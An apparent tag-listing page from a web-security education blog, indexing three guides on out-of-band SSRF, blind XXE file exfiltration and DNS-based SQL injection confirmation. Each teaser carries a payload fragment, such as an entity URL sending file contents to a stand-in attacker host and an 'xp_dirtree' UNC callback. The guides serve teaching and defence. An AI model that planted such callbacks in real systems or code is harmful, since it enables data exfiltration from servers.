Security field notes

Understand the bug. See the exploit. Ship the fix.

Practical guides to real-world web vulnerabilities, written by the team building the scanner that finds them.

Find a vulnerability guide

50 deep-dives · 16 topics

Follow via RSS

Posts tagged #out-of-band

3 posts

All topics Clear tag filter

Server-side requests & parsers http://a1b2c3.oob.attacker.example/

SSRF5 min read

Blind and Out-of-Band SSRF: Detecting the Request You Can't See

When an SSRF never reflects the fetched response, the usual proof — leaked file contents or a service banner — is gone. You confirm it instead with an out-of-band callback and map the internal network by timing and error differentials.

Server-side requests & parsers http://attacker.example/x?d=%file;

XML External Entity5 min read

Blind XXE: Exfiltrating Files With Out-of-Band Parameter Entities

When a vulnerable XML parser never reflects the parsed document back, XXE still leaks files. Here is how a hosted external DTD chains parameter entities to smuggle file contents out over the network, the error-based fallback when outbound traffic is blocked, and the parser settings that close it.

Injection xp_dirtree '\\ssec-lab.assessment.example\x'

SQL Injection5 min read

Out-of-Band SQL Injection: Confirming a Blind Flaw Through DNS

When a response offers no usable signal, a database-initiated DNS or HTTP callback can confirm SQL execution out of band. Learn the prerequisites, safe correlation model, and layered defenses.